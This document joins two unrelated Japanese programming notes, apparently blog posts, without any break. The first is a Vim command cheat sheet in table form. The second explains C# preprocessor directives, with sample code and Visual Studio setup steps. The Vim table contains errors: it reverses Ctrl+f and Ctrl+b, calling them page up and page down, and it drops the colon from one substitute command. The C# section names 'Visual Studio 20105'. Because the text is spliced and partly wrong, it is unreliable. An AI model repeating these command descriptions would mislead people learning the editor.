現場にVimmerがいたのでまとめました。

よくあるものなので何番煎じかわかりません...

# コマンドの一覧
| 区分 | コマンド | 説明 |
| --- | --- | --- |
| カーソル移動 | h | 左 |
| カーソル移動 | j | 下 |
| カーソル移動 | k | 上 |
| カーソル移動 | l | 右 |
| カーソル移動 | 5l | ５文字右にカーソルを移動する |
| カーソル移動 | Shift + g | ファイルの最後の行の先頭に移動 |
| カーソル移動 | gg | ファイルの先頭に移動 |
| カーソル移動 | $ | 行の最後に移動 |
| カーソル移動 | ０　ゼロ | 行の先頭に移動 |
| カーソル移動 | _ | 文字の先頭に移動 |
| カーソル移動 | ^ | 行の最初の空白でない文字に移動 |
| カーソル移動 | G | ファイルの末尾に移動 |
| カーソル移動 | Ctrl　＋　f | ページアップ |
| カーソル移動 | Ctrl　＋　ｂ | ページダウン |
| カーソル移動 | M | カーソルを画面の中心に移動 |
| 実行例 | dd 移動　ｐ　ｄｄ　移動　ｐ | １行目と６行目を入れ替える。 |
| ファイル再読み込み | :e! | 編集を破棄してファイルの再読み込み |
| ファイル保存 | :wq | 現在編集中の内容を元のファイルに書き込んで終了 |
| ファイル保存終了 | :w | 編集結果を保存 |
| ヘルプ | :help + エンター | オンラインヘルプ表示 |
| 編集：UNDO | u | 直前の編集状態に戻す |
| 編集：検索 | / | 前方 |
| 編集：検索 | ? | 後方 |
| 編集：検索 | n | 前方再検索 |
| 編集：検索 | N | 後方再検索 |
| 編集：削除 | x | 現在カーソルのある文字を削除 |
| 編集：削除 | 3x | 現在カーソルのある文字を削除　カウントの使用 |
| 編集：削除 | X | カーソル直前の文字を削除 |
| 編集：削除 | D | カーソル以降を削除 |
| 編集：削除 | dw | 現在カーソルのある単語を削除 |
| 編集：削除 | Shift + d | カーソルから行末までを削除 |
| 編集：削除 | dd | 現在カーソルのある行を削除（カット） |
| 編集：削除 | 100dd | 現在カーソルのある行を削除　カウントの使用 |
| 編集：置換 | s/xxx/yyy/ | xxxをｙｙｙに置換 |
| 編集：置換 | :s/xxx/yyy/g | カーソル行を全範囲として、xxxをyyyに置換 |
| 編集：置換 | :%s/xxx/yyy/g | ファイルを全範囲として、xxxをyyyに置換 |
| 編集：置換 | :%s/xxx/yyy/gc | ファイルを全範囲として、xxxをyyyに置換  確認しながら。 |
| 編集：ペースト | p | カーソル行の下にペースト |
| 編集：ペースト | 3p | カーソル行の下にペースト　バッファーが３回ペーストされる。 |
| 編集：ペースト | P | カーソル行の上にペースト |
| 編集：文字入力 | i | インサートモードになり、カーソルの前に文字列を挿入可能 |
| 編集：文字入力 | a | インサートモードになり、カーソルの後ろに文字列を挿入可能 |
| 編集：文字入力 | o | カーソル行の下に一行空白行を挿入 |
| 編集：文字入力 | Shift + o | カーソル行の上に一行空白行を挿入 |
| 編集：文字入力 | ESC | インサートモードからコマンドモードに戻る |
| 編集：文字入力 | I | カーソル行の先頭から入力開始 |
| 編集：文字入力 | A | カーソル行の末尾から入力開始 |
| 編集：文字入力 | r | カーソル上の文字を置換 |
| 編集：文字入力 | R | 以降の入力を上書き状態 |
| 編集：文字入力 | O | カーソル行の上に一行空白行を挿入 |
| 編集：文字入力 | J | カーソル行と直下の行を連結 |
| 編集：ヤンク | yy | カーソル行をヤンク（コピー） |
| 編集：ヤンク | 3yy | カーソル行をヤンク（コピー）　カウントの使用 |
| モードについて | 起動直後 | コマンドモード |
| モードについて | i | コマンド　－＞　インサート　モード |
| モードについて | ESC | インサート　－＞　コマンド　モード |
| モードについて | : | コマンド　－＞　ｅｘラインエディタ　モード |
| モードについて | ESC | ｅｘラインエディタ　－＞　コマンド　モード |
| 起動 | $ vi file.txt |  |
| 終了 | :q! | 編集結果を破棄して強制終了 |
| 終了 | :wq file_name | 現在編集中の内容を指定されたファイルに書き込んで終了 |
| 終了 | :wq! file_name | 現在編集中の内容を指定されたファイルに上書きして終了 |
【C#】プリプロセッサ

####◆プリプロセッサとは
　・コンパイルの直前に行う特定の処理をプリプロセッサ(プリプロセス命令)という。
簡単に言えば、if文のような処理を「#if シンボル名　～　#endif」のように使用する。


◇プリプロセッサは下記のように利用する。

```C#
#define PreTest1
#define SampleQiita2
using System;

class program
{
    static void Main(string[] args)
    {
#if PreTest1
        Console.WriteLine("#PreTest1がシンボルとして定義されています。");
#elif PreTest2
        Console.WriteLine("#PreTest2がシンボルとして定義されています。");
#else
        Console.WriteLine("OreTestのシンボルは何も定義されていません。");
#endif

#if SampleQiita1
        Console.WriteLine("#SampleQiita1がシンボルとして定義されています。");
#elif SampleQiita2
        Console.WriteLine("#SampleQiita2がシンボルとして定義されています。");
#else
        Console.WriteLine("SampleQiitaシンボルは何も定義されていません。");
#endif
    }
}
```

```
実行結果
#PreTest1がシンボルとして定義されています。
#SampleQiita2がシンボルとして定義されています。
```
■#defineは必ず、コードの先頭(一番上)に記載する。[^1]
■#define ○○ の箇所を指定したいシンボル名に変更すると該当箇所が選択され、
それ以外はグレーアウトする[^2](コメントアウトしたときのような状態)

[^1]: それ以外に記載するとエラーが発生するので注意
[^2]: Visual Studio 2015にて確認

<br />
##主に使用されているプリプロセッサコード一覧
★#define
★#if　　　　★#else　　　★#elif
★#undef　　★#warning　★#error　★#line
★#region　 ★#endregion
★#pragma　★#pragma warning　　 ★#pragma checksum

---
<br />
##\#defineを使用せずシンボル定義をする方法

Visual Studio 20105の上部タブの「プロジェクト」→「[プロジェクト名]のプロパティ」→「ビルド」→「全般」→「条件付きコンパイルシンボル(Y)」
(シンボルはスペース区切りにすることによって複数選択可能)

![条件付きシンボル1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/658097/a99ca339-61f7-17d3-f9b3-4cd2242a8683.png)

![条件付きシンボル2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/658097/df040bb7-9189-0855-8a7b-9d552e99c9b9.png)